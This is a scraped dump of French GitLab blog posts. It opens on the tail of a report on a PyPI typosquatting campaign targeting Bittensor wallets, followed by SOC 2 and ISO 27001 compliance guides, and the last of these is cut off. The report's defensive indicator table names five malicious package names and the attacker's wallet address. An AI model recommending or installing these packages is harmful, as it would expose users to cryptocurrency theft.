manquant)\n\n* **Troncation :** `bittenso` au lieu de `bittensor` ('r' final manquant)\n\n* **Imitation de version :** tous les paquets utilisaient des numéros de version (`9.9.4`, `9.9.5`) qui correspondaient étroitement aux versions des véritables paquets.\n\n\nCette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes `pip install` et des erreurs de copier-coller depuis la documentation.\n\n\n## Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement\n\n\nGitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.\n\n\nLa détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.\n\n\n## Indicateurs de compromission\n\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Paquet PyPI malveillant |\n| `pkg:pypi/bitensor@9.9.5` | Paquet PyPI malveillant |\n| `pkg:pypi/bitensor@9.9.4` | Paquet PyPI malveillant |\n| `pkg:pypi/qbittensor@9.9.4` | Paquet PyPI malveillant |\n| `pkg:pypi/bittenso-cli@9.9.4` | Paquet PyPI malveillant |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés |\n\n## Chronologie\n\n| Date et heure | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Analyse initiale des paquets suspects signalés par le système de surveillance automatisé |\n| **2025-08-06T09:42** | Signalement de `bittenso@9.9.5` à PyPi.org |\n| **2025-08-06T09:46** | Signalement de `bitensor@9.9.5` à PyPi.org |\n| **2025-08-06T09:47** | Signalement de `bitensor@9.9.4` à PyPi.org |\n| **2025-08-06T09:49** | Signalement de `qbittensor@9.9.4` à PyPi.org |\n| **2025-08-06T09:51** | Signalement de `bittenso-cli@9.9.4` à PyPi.org |\n| **2025-08-06T15:26** | PyPi.org a supprimé `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org a supprimé `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org a supprimé `bitensor@9.9.4`  |\n| **2025-08-06T15:28** | PyPi.org a supprimé `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org a supprimé `bittenso-cli@9.9.4` |\n",[836],"Michael Henriksen","2025-08-11",[9],"L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série d'attaques de typosquatting avec des paquets PyPI qui avaient pour objectif de voler de la cryptomonnaie dans des portefeuilles Bittensor en détournant des opérations de staking.",{"featured":6,"template":689,"slug":841},"gitlab-uncovers-bittensor-theft-campaign-via-pypi","content:fr-fr:blog:gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","Gitlab Uncovers Bittensor Theft Campaign Via Pypi","fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"_path":847,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":848,"content":854,"config":859,"_id":861,"_type":13,"title":862,"_source":15,"_file":863,"_stem":864,"_extension":18},"/fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":849,"description":850,"ogTitle":849,"ogDescription":850,"noIndex":6,"ogImage":851,"ogUrl":852,"ogSiteName":673,"ogType":674,"canonicalUrls":852,"schema":853},"Mise en conformité SOC 2 : GitLab vous simplifie la tâche","Découvrez les fonctionnalités de sécurité applicative de la plateforme DevSecOps de GitLab pour vous conformer aux exigences de la norme SOC 2.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","\n                         {\n        \"@context\": \" https://schema.org \",\n         \"@type\": \"Article\",\n         \"headline\": \"Mise en conformité SOC 2 : GitLab vous simplifie la tâche\",\n         \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n         \"datePublished\": \"2025-01-22\",\n      }",{"title":849,"description":850,"authors":855,"heroImage":851,"date":856,"body":857,"category":9,"tags":858},[749],"2025-01-22","Pour les entreprises qui traitent les informations sensibles des clients, la conformité à la norme System and Organization Controls 2 (SOC 2) dépasse le cadre des bonnes pratiques : c'est souvent un impératif commercial. La norme d'audit SOC 2, développée par l'American Institute of Certified Public Accountants, évalue les contrôles internes d'un prestataire de services autour de cinq piliers essentiels : la sécurité, la disponibilité, l'intégrité des traitements de données, la confidentialité et la confidentialité.\n\n\nBien qu'elle ne soit pas imposée par la loi, la conformité SOC 2 est devenue un enjeu stratégique, renforcée par la fréquence et la médiatisation croissantes des violations de données. Obtenir la certification SOC 2 vous permet d'établir un lien de confiance avec vos clients, de leur démonter que leurs données sont protégées et de leur garantir que vos contrôles de sécurité ont été évalués par un auditeur tiers indépendant.\n\n\nDécouvrez dans ce guide les exigences à remplir pour obtenir la certification SOC 2 et comment GitLab peut aider votre entreprise à respecter les normes les plus strictes en matière de sécurité applicative.\n\n\n## Quelles sont les exigences fixées par la norme SOC 2 ?\n\n\nLe processus de conformité repose sur un audit réalisé par un cabinet indépendant, chargé d'évaluer à la fois la conception et l'efficacité opérationnelle des contrôles mis en place par l'entreprise concernée. L'audit SOC 2 peut durer près d'un an et s'avérer particulièrement coûteux. Nombreuses sont les entreprises qui s'y confrontent sans préparation suffisante, d'où l'importance de bien se préparer en amont.\n\n\nPour obtenir la certification SOC 2, une entreprise doit répondre aux exigences basées sur les critères de services de confiance suivants :\n\n\n| Critères | Exigences |\n\n| :---- | :---- |\n\n| Sécurité | - Mettre en place des contrôles pour prévenir tout accès non autorisé \u003Cbr> - Définir des procédures d'identification et d'atténuation des risques\u003Cbr> - Mettre en œuvre des systèmes de détection et de traitement des incidents de sécurité |\n\n| Disponibilité | - Garantir la disponibilité des systèmes selon les engagements contractuels\u003Cbr> - Surveiller l'utilisation et la capacité des systèmes en temps réel \u003Cbr> - Identifier et traiter les menaces environnementales susceptibles d'affecter la disponibilité des systèmes |\n\n| Intégrité des opérations de traitement | - Tenir des registres précis des entrées et sorties du système \u003Cbr> - Mettre en place des procédures pour détecter et corriger rapidement les erreurs \u003Cbr> - Veiller à ce que les opérations de traitement respectent les spécifications des produits et services |\n\n| Confidentialité | - Identifier et protéger les informations confidentielles \u003Cbr> - Définir des politiques claires de conservation des données pour une période définie \u003Cbr> - Mettre en place des méthodes sécurisées de suppression de ces données à l'issue de la période de conservation |\n\n| Vie privée | - Obtenir le consentement avant toute collecte de données personnelles sensibles \u003Cbr> - Communiquer de façon claire et compréhensible les politiques de confidentialité \u003Cbr> - Collecter les données uniquement par des moyens légaux et auprès de sources fiables |\n\n\u003Cbr>\n\n\nIl est essentiel de noter que la conformité SOC 2 n'est pas un état ponctuel, mais un processus continu. Les auditeurs devront vérifier l'efficacité des contrôles au fil du temps.\n\n\n## Comment atteindre et maintenir les exigences de sécurité ?\n\n\nGitLab fournit un ensemble de fonctionnalités intégrées à sa plateforme pour vous aider à satisfaire les exigences de sécurité de la norme SOC 2. En voici un aperçu :\n\n\n| Exigence de sécurité | Fonctionnalités associées |\n\n| :---- | :---- |\n\n| Mettre en œuvre des contrôles pour prévenir tout accès non autorisé | - Tickets et merge requests confidentiels \u003Cbr> - Rôles personnalisés et autorisations granulaires \u003Cbr> - Stratégies de sécurité \u003Cbr> - Validations vérifiées \u003Cbr> - Images de conteneur signées \u003Cbr> - CodeOwners \u003Cbr> - Branches protégées |\n\n| Mettre en œuvre des systèmes de détection et de traitement des incidents de sécurité | - Scanning de détection des vulnérabilités \u003Cbr> - Widget de sécurité intégré aux merge requests \u003Cbr> - Centre de conformité avec tous les détails sur les vulnérabilités \u003Cbr> - Événements d'audit \u003Cbr> - Liste des dépendances dans les rapports de vulnérabilités \u003Cbr> - IA : explication des vulnérabilités \u003Cbr> - IA : résolution des vulnérabilités |\n\n| Définir des procédures d'identification et d'atténuation des risques | L'ensemble de ces fonctionnalités permet aux équipes de sécurité de définir des procédures claires pour la gestion des vulnérabilités, de leur identification à leur atténuation.\n\n\u003Cbr>\n\n| Passons maintenant en revue chaque section pour détailler les fonctionnalités de sécurité de GitLab qui permettent de répondre à ces exigences. Remarque : la plupart de ces fonctionnalités nécessitent un [abonnement GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) ainsi que les rôles et autorisations adéquats. Pour en savoir plus, consultez la documentation officielle.\n\n\n## Quels contrôles mettre en place éviter tout accès non autorisé ?\n\n\nLa mise en œuvre de contrôles d'accès rigoureux est essentielle pour protéger les actifs de votre entreprise, garantir la conformité réglementaire, maintenir la continuité des opérations et instaurer la confiance. Avec GitLab, vous pouvez appliquer le [principe de moindre privilège](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) afin de sécuriser vos projets contre tout accès non autorisé. Voici un aperçu des fonctionnalités disponibles :\n\n\n* [Stratégies de sécurité](#security-policies)\n\n* [Rôles personnalisés et autorisations granulaires](#custom-roles-and-granular-permissions)\n\n* [Protections des branches et CodeOwners](#branch-protections-and-codeowners)\n\n* [Validations vérifiées](#verified-commits)\n\n\n### Stratégies de sécurité\n\n\nLes stratégies de sécurité de GitLab, connues sous le nom de garde-fous, permettent aux équipes de sécurité et de conformité d'appliquer des contrôles cohérents à l'échelle de l'entreprise. Elles contribuent à prévenir les incidents de sécurité, à maintenir les normes de conformité et à réduire les risques en automatisant l'application des bonnes pratiques de sécurité à grande échelle.\n\n\n![Vue de la politique d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\n\u003Ccenter>\u003Ci>Vue de la politique d'approbation des merge requests\u003C/i>\u003C/center>\u003Cbr>\n\n\nGitLab propose les différents types de stratégies de sécurité suivants :\n\n\n* Stratégie d'exécution des scans : impose l'exécution de scans de sécurité, soit dans les pipelines CI/CD, soit selon un calendrier précis.\n\n* Politique d'approbation des merge requests : applique des paramètres et des règles d'approbation au niveau du projet en fonction des résultats des scans.\n\n* Stratégie d'exécution des pipelines : impose l'exécution de jobs CI/CD critiques dans les pipelines.\n\n* Stratégie de gestion des vulnérabilités : automatise les workflows de gestion des vulnérabilités.\n\n\nVoici à titre d'exemple les étapes de mise en conformité en appliquant une stratégie d'exécution des pipelines :\n\n\n1. Créez un projet dédié aux jobs de conformité, contenant plusieurs tâches applicables à différents projets. Par exemple, un job peut avoir pour objectif de vérifier les autorisations d'accès aux fichiers déployés. Ces jobs doivent être suffisamment génériques pour être réutilisés sur plusieurs applications\n\n.2. Limitez les autorisations sur ce projet aux seuls responsables sécurité ou conformité. Les équipes de développement ne doivent pas pouvoir modifier ou supprimer ces jobs, afin de garantir une séparation claire des responsabilités.\n\n3. Injectez ces jobs de conformité par lots dans les projets concernés. Configurez-les pour qu'ils s'exécutent systématiquement, sans possibilité de suppression, mais autorisez un responsable d'équipe à approuver leur exécution afin de ne pas bloquer le développement. Ainsi, vous vous assurez que les jobs de conformité sont toujours lancés, qu'ils ne peuvent pas être désactivés par les développeurs, et que votre environnement reste conforme aux exigences établies.\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux stratégies de sécurité](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n\n### Rôles personnalisés et autorisations granulaires\n\n\nLes autorisations personnalisées dans GitLab permettent de définir des contrôles d'accès plus précis que ceux des autorisations standard basées sur les rôles. Elles offrent plusieurs avantages, tels que :\n\n\n* Un contrôle d'accès plus précis\n\n* Une meilleure conformité aux exigences de sécurité\n\n* Une réduction du risque d'accès accidentel\n\n* Une gestion des utilisateurs simplifiée\n\n* Une prise en charge adaptée aux structures organisationnelles complexes\n\n\n![Rôles personnalisés dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\n\u003Ccenter>\u003Ci>Paramètres des rôles et autorisations, y compris les rôles personnalisés\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html).\n\n\n### Protections des branches et CodeOwners\n\n\nGitLab vous aide à mieux contrôler qui peut modifier votre code à l'aide de ces deux fonctionnalités avancées :\n\n* La protection des branches, qui permet de définir des règles précises sur qui peut mettre à jour des branches spécifiques, par exemple en imposant une approbation avant de fusionner les modifications.\n\n* La propriété du code, qui identifie automatiquement les relecteurs appropriés pour examiner les modifications apportées au code en associant chaque fichier à ses propriétaires désignés.\n\n\nCombinées, ces fonctionnalités vous aident à garantir la sécurité et la qualité de votre code en vous assurant que les bonnes personnes examinent et approuvent chaque modification.\n\n\n![Branches protégées](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\n\u003Ccenter>\u003Ci>Paramètres de branches protégées\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre documentation dédiée aux [branches protégées](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) et aux [propriétaires de code](https://docs.gitlab.com/ee/user/project/codeowners/).\n\n\n### Validations vérifiées\n\n\nEn signant vos validations numériquement, vous prouvez que vous en êtes l'auteur et non une personne qui se fait passer pour vous. Considérez cette signature numérique comme un tampon unique que vous seul pouvez créer. En téléversant votre clé publique GPG sur la plateforme GitLab, cette dernière peut vérifier l'authenticité de ce tampon. Si la signature et le tampon correspondent, GitLab marque votre validation comme `Verified`. Vous pouvez ensuite configurer des règles pour rejeter les validations non signées ou bloquer toutes les validations des utilisateurs qui n'ont pas vérifié leur identité.\n\n\n![Validation signée avec une signature vérifiée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\n\u003Ccenter>\u003Ci>Validation signée avec une signature vérifiée\u003C/i>\u003C/center>\u003Cbr>\n\n\nLes validations peuvent être signées avec :\n\n\n* Une clé SSH\n\n* Une clé GPG\n\n* Un certificat x.509 personnel\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux validations signées](https://docs.gitlab.com/ee/user/project/repository/signed_commits/)\n\n\n## Comment mettre en place des systèmes de détection et de gestion des incidents°?\n\n\nLa mise en place de systèmes de détection et de gestion des incidents de sécurité est essentielle pour maintenir une posture de sécurité robuste, garantir la conformité réglementaire, limiter les dommages potentiels et permettre à votre entreprise de réagir efficacement à des menaces en constante évolution.\n\n\nGitLab propose des scannings de sécurité et de gestion des vulnérabilités pour l'ensemble du cycle de vie des applications. Voici un aperçu des principales fonctionnalités :\n\n\n* [Scanning de sécurité et gestion des vulnérabilités](#security-scanning-and-vulnerability-management)\n\n* [Nomenclature logicielle](#software-bill-of-materials)\n\n* [Audit du système et analyse de la posture de sécurité](#system-auditing-and-security-posture-review)\n\n* [Supervision de la conformité et de la posture de sécurité](#compliance-and-security-posture-oversight)\n\n\n### Scanning de sécurité et gestion des vulnérabilités\n\n\nGitLab fournit une variété de scanners de sécurité différents, qui couvrent l'ensemble du cycle de vie de votre application :\n\n\n* Test statique de sécurité des applications (SAST)\n\n* Test dynamique de sécurité des applications (DAST)\n\n* Analyse des conteneurs\n\n* Analyse des dépendances\n\n* Analyse de l'Infrastructure as Code (IaC)\n\n* Test à données aléatoires guidé par la couverture de code\n\n* Test d'API web par injection de données aléatoires\n\n\nCes scanners peuvent être ajoutés à votre pipeline CI/CD à l'aide de templates. Par exemple, pour exécuter des jobs de SAST et de scanning des dépendances à l'étape de test, ajoutez simplement ce qui suit à votre fichier .gitlab-ci.yml :\n\n\n```yaml\n\nstages:   - test\n\ninclude:   - template: Jobs/Dependency-Scanning.gitlab-ci.yml   - template: Jobs/SAST.gitlab-ci.yml   ```\n\n\nCes jobs sont entièrement configurables via des variables d'environnement et à l'aide de la syntaxe des jobs GitLab. Une fois le pipeline CI/CD lancé, les scanners de sécurité s'exécutent et détectent les vulnérabilités dans le diff entre la branche actuelle et la branche cible. La vulnérabilité s'affiche directement dans la merge request (MR) correspondante, fournissant ainsi une vue détaillée avant que le code ne soit fusionné vers la branche cible. Dans la MR, chaque vulnérabilité détectée est présentée avec les informations suivantes :\n\n\n* Description\n\n* Statut\n\n* Gravité\n\n* Preuves\n\n*Identifiants\n\n* URL (le cas échéant)\n\n* Requête/réponse (le cas échéant)\n\n* Actifs de reproduction (le cas échéant)\n\n* Ressources de formation (le cas échéant)\n\n* Chemin d'exécution dans le code (si vous utilisez un analyseur Advanced SAST)\n\n\n![Vue d'une MR présentant la vulnérabilité détectée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\n\u003Ccenter>\u003Ci>Vue d'une MR présentant la vulnérabilité introduite\u003C/i>\u003C/center>\u003Cbr>\n\n\nLes équipes de développement peuvent ainsi utiliser ces données pour corriger les vulnérabilités sans ralentir les workflows de l'équipe de sécurité. Les développeurs peuvent rejeter une vulnérabilité en justifiant leur décision, accélérant ainsi le processus de revue de code. Ils ont également la possibilité de créer un ticket confidentiel pour assurer un suivi sur cette vulnérabilité.\n\n\nUne fois le code d'une MR fusionné vers la branche par défaut (généralement celle de l'environnement de production), le rapport de vulnérabilités est automatiquement mis à jour avec les résultats du scanner de sécurité. Les équipes de sécurité peuvent utiliser ces données pour gérer et hiérarchiser les vulnérabilités ayant atteint l'environnement de production.\n\n\n![Rapport de vulnérabilités avec le paramètre de statut par lot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\n\u003Ccenter>\u003Ci>Rapport de vulnérabilités avec le paramètre de statut par lot\u003C/i>\u003C/center>\u003Cbr>\n\n\nLorsque vous cliquez sur la description d'une vulnérabilité dans le rapport de vulnérabilités, vous accédez à la page dédiée à cette vulnérabilités, qui contient les mêmes informations que dans la MR. Vous disposez ainsi d'une source unique de vérité lors de l'évaluation de son impact et de la correction possible. Depuis cette page, vous pouvez également utiliser les fonctionnalités d'IA de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) pour obtenir une explication de la vulnérabilité et générer automatiquement une merge request pour la corriger, ce qui accélère considérablement le temps de résolution.\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée à la sécurité aplicative](https://docs.gitlab.com/ee/user/application_security/).\n\n\n### Nomenclature logicielle\n\n\nGitLab peut créer une liste complète de tous les composants constituant votre logiciel, un peu comme une liste d'ingrédients pour votre code. Cette liste, appelée nomenclature logicielle ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/)), répertorie l'ensemble du code des composants externes que vous avez ajoutés à votre projet, ainsi que leurs propres dépendances. Pour chaque composant, vous pouvez consulter la version utilisée, le type de licence ainsi que les éventuelles failles de sécurité détectées. Vous pouvez ainsi conserver une trace des composants de votre logiciel et anticiper les risques potentiels.\n\n\n![Liste des dépendances au niveau du groupe (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\n\u003Ccenter>\u003Ci>Liste des dépendances au niveau du groupe (SBOM)\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée à la liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n\n### Audit système et examen de la posture de sécurité\n\n\nGitLab consigne de manière exhaustive toutes les actions effectuées dans votre système : qui a réalisé une modification, de quel type, et à quel moment. Cette fonctionnalité agit en quelque sorte comme une caméra de surveillance pour votre code. Cette traçabilité vous aide à :\n\n\n* repérer toute activité suspecte\n\n* prouver votre conformité aux régulateurs\n\n* retracer les événements en cas d'incident de sécurité\n\n* analyser l'utilisation réelle de GitLab au sein de l'entreprise\n\n\nToutes ces informations d'audit sont centralisées, ce qui facilite grandement leur examen a posteriori et leur analyse en cas de besoin. Par exemple, les événements d'audit vous permettent d'identifier :\n\n\n* qui a modifié le niveau d'autorisation d'un utilisateur pour un projet GitLab, et à quelle date\n\n* qui a ajouté ou supprimé un utilisateur, et à quelle date\n\n\n![Événements d'audit au niveau du projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\n\u003Ccenter>\u003Ci>Événements d'audit au niveau du projet\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez la [documentation dédiée aux événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n\n## Supervision de la conformité et de la posture de sécurité\n\n\nLe tableau de bord de sécurité de GitLab, telle une salle de contrôle centralisée, vous offre une vue globale claire de tous les risques de sécurité identifiés sur l'ensemble de vos projets. Plutôt que de jongler entre plusieurs outils de sécurité, toutes les informations critiques sont accessibles depuis un seul et même endroit. Cette fonctionnalité facilite la détection et la résolution des vulnérabilités à l'échelle de vos projets.\n\n\n![Tableau de bord de sécurité au niveau du groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du groupe\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée au tableau de bord de sécurité]( https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n\n## Comment définir des procédures pour identifier et atténuer les risques ?\n\n\nLes vulnérabilités suivent un cycle de vie précis et il est essentiel de mettre en place des procédures structurées. Par exemple, l'une d'elles peut exiger qu'aucun code vulnérable ne soit fusionné vers des branches protégées sans approbation préalable, en s'appuyant sur les stratégies de sécurité en place. Elle peut également stipuler qu'un code vulnérable détecté dans l'environnement de production doit se voir attribuer un ordre de priorité, puis être évalué, corrigé, puis validé :\n\n\n* Les critères de priorisation peuvent être basés sur la gravité de la vulnérabilité déterminée par les scanners GitLab.\n\n* L'évaluation peut s'appuyer sur les informations générées par l'IA lors de l'explication des vulnérabilités.\n\n* Une fois la correction apportée, celle-ci est validée à l'aide des tests de régression et des scanners GitLab intégrés.\n\n\nChaque entreprise ayant ses spécificités, la plateforme GitLab permet d'identifier et valider les vulnérabilités plus efficacement qu'avec un ensemble d'outils disparates.\n\n\n### Bonnes pratiques pour la conformité SOC 2\n\n\n* Instaurer une culture de la sécurité : favorisez une culture de sensibilisation à la sécurité et de responsabilisation à tous les niveaux de votre entreprise.\n\n* Documenter chaque processus : conservez une documentation complète des stratégies, procédures et contrôles de sécurité en place.\n\n* Automatiser dans la mesure du possible : utilisez des outils d'automatisation pour rationaliser les processus de conformité et réduire les risques d'erreur.\n\n* Communiquer efficacement : tenez les parties prenantes informées de vos processus en matière de conformité.\n\n* Demander conseil à des experts : envisagez de vous associer à un consultant qualifié pour vous aider dans votre parcours de conformité SOC 2.\n\n\nObtenir la certification SOC 2 demande un investissement important, mais les bénéfices en valent largement la peine. En démontrant votre engagement en faveur de la sécurité applicative et de l'excellence opérationnelle, vous renforcez la confiance de vos clients, améliorez votre réputation tout en vous distinguant sur un marché concurrentiel.\n\n\n## Autres ressources\n\n\nPour en savoir plus sur GitLab et découvrir comment nous pouvons vous aider à atteindre la conformité SOCv2 tout en renforçant votre posture de sécurité, consultez les ressources suivantes :\n\n\n* [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/)\n\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n\n* [Documentation GitLab sur la sécurité applicative](https://docs.gitlab.com/ee/user/application_security/)\n\n* [Projet de tutoriel DevSecOps de GitLab](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[731,9,753,702,703],{"slug":860,"featured":90,"template":689},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:fr-fr:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":866,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":867,"content":873,"config":881,"_id":883,"_type":13,"title":884,"_source":15,"_file":885,"_stem":886,"_extension":18},"/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey",{"title":868,"description":869,"ogTitle":868,"ogDescription":869,"noIndex":6,"ogImage":870,"ogUrl":871,"ogSiteName":673,"ogType":674,"canonicalUrls":871,"schema":872},"ISO 27001: comment GitLab vous assiste dans votre démarche de conformité ","Les fonctionnalités de sécurité logicielle de GitLab peuvent vous aider à vous conformer à la norme ISO 27001.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ISO 27001: comment GitLab vous assiste dans votre démarche de conformité \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-06\",\n      }",{"title":868,"description":869,"authors":874,"heroImage":870,"date":876,"body":877,"category":9,"tags":878,"updatedDate":880},[875],"Joseph Longo","2023-09-06","En tant que plateforme unique et complète, GitLab vous permet de gérer votre cycle de vie DevSecOps facilement. En effet, la plateforme GitLab permet aux développeurs de créer des logiciels de qualité plus rapidement, mais son efficacité s'étend toutefois au-delà du DevSecOps.\n\nEn octobre 2022, l'Organisation internationale de normalisation a publié la dernière édition de la norme ISO 27001. Cette norme ISO/IEC 27001:2022 comprend plusieurs modifications par rapport à sa version précédente, dont l'ajout de contrôles dans l'annexe A. Ceux-ci sont axés sur le codage sécurisé et la gestion de la configuration.\n\nChez GitLab, nous utilisons notre plateforme pour prendre en charge de nombreux aspects de notre programme de conformité en matière de sécurité : un concept que nous appelons en interne le [dogfooding](https://about.gitlab.com/direction/dogfooding/). Vous trouverez un aperçu des accréditations de conformité et d'assurance que nous conservons sur notre page dédiée au [Centre de gestion et protection des données](https://about.gitlab.com/security/).\n\nVoyons à présent les principales fonctions à votre disposition pour vous conformer à la norme ISO 27001.\n\n## Contrôles organisationnels\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 5.3 Séparation des tâches | Les tâches et les domaines de responsabilité incompatibles doivent être séparés. |\n| 5.15 Contrôle d'accès | Des règles visant à contrôler l'accès physique et logique aux informations et autres actifs associés en fonction des exigences métier et de sécurité de l'information doivent être définies et mises en œuvre. |\n| 5.16 Gestion des identités | Le cycle de vie complet des identités doit être géré. |\n| 8.2 Droits d'accès privilégiés | L'attribution et l'utilisation des droits d'accès privilégiés doivent être limitées et gérées.|\n| 8.4 Accès aux codes source | L'accès en lecture et en écriture au code source, aux outils de développement et aux bibliothèques de logiciels doit être géré de manière appropriée. |\n\nAvec GitLab, vous pouvez [attribuer un rôle aux utilisateurs](https://docs.gitlab.com/ee/user/permissions.html) lorsque vous les ajoutez à un projet ou à un groupe. Le rôle d'un utilisateur détermine les actions qu'il peut effectuer dans votre instance GitLab. Vous pouvez assigner les rôles suivants :\n* Invité (projets privés et internes uniquement)\n* Rapporteur\n* Développeur\n* Chargé de maintenance\n* Propriétaire\n* Accès minimal (disponible uniquement pour le groupe principal)\n\nLes rôles de GitLab vous permettent de limiter les autorisations d'un utilisateur, conformément au [principe de moindre privilège](https://csrc.nist.gov/glossary/term/least_privilege), ainsi qu'à vos exigences en matière de sécurité de l'information et de l’entreprise. \n\nGitLab vous permet également de centraliser les responsabilités d'authentification et d'autorisation pour votre instance GitLab via des intégrations d'[authentification unique basée sur le protocole SAML](https://docs.gitlab.com/ee/user/group/saml_sso/). GitLab intègre un large éventail de fournisseurs d'identité pour prendre en charge les diverses piles technologiques de notre clientèle. De plus, GitLab prend en charge le System for Cross-domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Ainsi, grâce aux intégrations SSO et SCIM de GitLab, vous pouvez automatiser le cycle de vie de vos identités d'utilisateur de manière sécurisée et efficace.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) et [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) sont également disponibles pour les clients utilisant GitLab Auto-géré.\n\n**Note :** les contrôles technologiques des points 8.2 et 8.4 de l'annexe A ont été inclus dans le tableau ci-dessus en raison de leur proximité avec les contrôles organisationnels des points 5.3, 5.15 et 5.16. Vous pouvez recourir aux mêmes fonctionnalités de GitLab pour répondre à ces différentes exigences de contrôle.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 5.8 Sécurité de l'information dans la gestion de projet | La sécurité de l'information doit être intégrée dans la gestion de projet. |\n\nSoutenez vos efforts de gestion de projet et de contrôle sur la sécurité de l'information dans toutes les phases du cycle de vie d'un projet grâce à nos 